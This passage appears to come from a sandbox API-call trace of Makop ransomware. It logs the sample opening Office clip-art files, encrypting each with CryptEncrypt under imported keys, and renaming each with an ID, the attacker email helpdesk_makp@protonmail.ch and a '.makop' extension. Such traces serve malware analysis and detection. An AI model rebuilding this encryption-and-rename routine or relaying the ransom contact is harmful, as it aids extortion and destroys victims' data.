hFile=0xf0, liDistanceToMove=0x42a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.081] SetEndOfFile (hFile=0xf0) returned 1 [0151.088] GetProcessHeap () returned 0x48a0000 [0151.088] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.088] GetProcessHeap () returned 0x48a0000 [0151.088] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.088] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.088] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00820_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00820_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.091] CloseHandle (hObject=0xf0) returned 1 [0151.091] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec395100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec395100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x28ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00828_.WMF", cAlternateFileName="")) returned 1 [0151.091] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF") returned 63 [0151.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.093] GetProcessHeap () returned 0x48a0000 [0151.093] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.093] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.093] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.093] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0151.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.099] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.099] GetProcessHeap () returned 0x48a0000 [0151.099] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.099] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.100] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.100] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.100] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.101] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.101] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x28ae, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x28ae, lpOverlapped=0x0) returned 1 [0151.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28b0, dwBufLen=0x28b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x28b0) returned 1 [0151.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.103] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x28b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x28b0, lpOverlapped=0x0) returned 1 [0151.103] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.103] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.103] SetEndOfFile (hFile=0xf0) returned 1 [0151.110] GetProcessHeap () returned 0x48a0000 [0151.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.110] GetProcessHeap () returned 0x48a0000 [0151.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.110] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.110] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00828_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00828_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.112] CloseHandle (hObject=0xf0) returned 1 [0151.112] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6bec00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xce6bec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x36da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00834_.WMF", cAlternateFileName="")) returned 1 [0151.113] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF") returned 63 [0151.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.114] GetProcessHeap () returned 0x48a0000 [0151.114] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.114] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.114] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.114] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0151.119] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.119] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.119] GetProcessHeap () returned 0x48a0000 [0151.119] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.120] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.120] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.120] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.120] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.120] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.120] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.120] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.121] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.121] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.121] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.121] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.121] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x36da, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x36da, lpOverlapped=0x0) returned 1 [0151.123] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36e0, dwBufLen=0x36e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x36e0) returned 1 [0151.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.123] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x36e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x36e0, lpOverlapped=0x0) returned 1 [0151.123] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.123] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x37b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.124] SetEndOfFile (hFile=0xf0) returned 1 [0151.140] GetProcessHeap () returned 0x48a0000 [0151.140] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.140] GetProcessHeap () returned 0x48a0000 [0151.140] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.140] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.140] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00834_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00834_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.142] CloseHandle (hObject=0xf0) returned 1 [0151.142] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc613b100, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc613b100, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x3fe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00837_.WMF", cAlternateFileName="")) returned 1 [0151.142] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF") returned 63 [0151.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.144] GetProcessHeap () returned 0x48a0000 [0151.144] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.144] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.149] GetProcessHeap () returned 0x48a0000 [0151.149] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.149] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.149] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.149] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.150] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.150] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.150] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3fe8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3fe8, lpOverlapped=0x0) returned 1 [0151.152] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ff0) returned 1 [0151.152] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.152] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ff0, lpOverlapped=0x0) returned 1 [0151.153] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.153] SetEndOfFile (hFile=0xf0) returned 1 [0151.160] GetProcessHeap () returned 0x48a0000 [0151.160] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0151.160] GetProcessHeap () returned 0x48a0000 [0151.160] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0151.161] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0151.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00837_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00837_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0151.163] CloseHandle (hObject=0xf0) returned 1 [0151.163] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00910_.WMF", cAlternateFileName="")) returned 1 [0151.163] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF") returned 63 [0151.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00910_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00910_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0151.165] GetProcessHeap () returned 0x48a0000 [0151.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0151.165] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0151.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0151.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.169] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.169] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.169] GetProcessHeap () returned 0x48a0000 [0151.169] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0151.169] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0151.169] CryptDestroyKey (hKey=0x48c7128) returned 1 [0151.169] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0151.170] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0151.170] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0151.170] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0151.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0151.170] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0151.170] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0151.170] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0151.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.171] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1898, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1898, lpOverlapped=0x0) 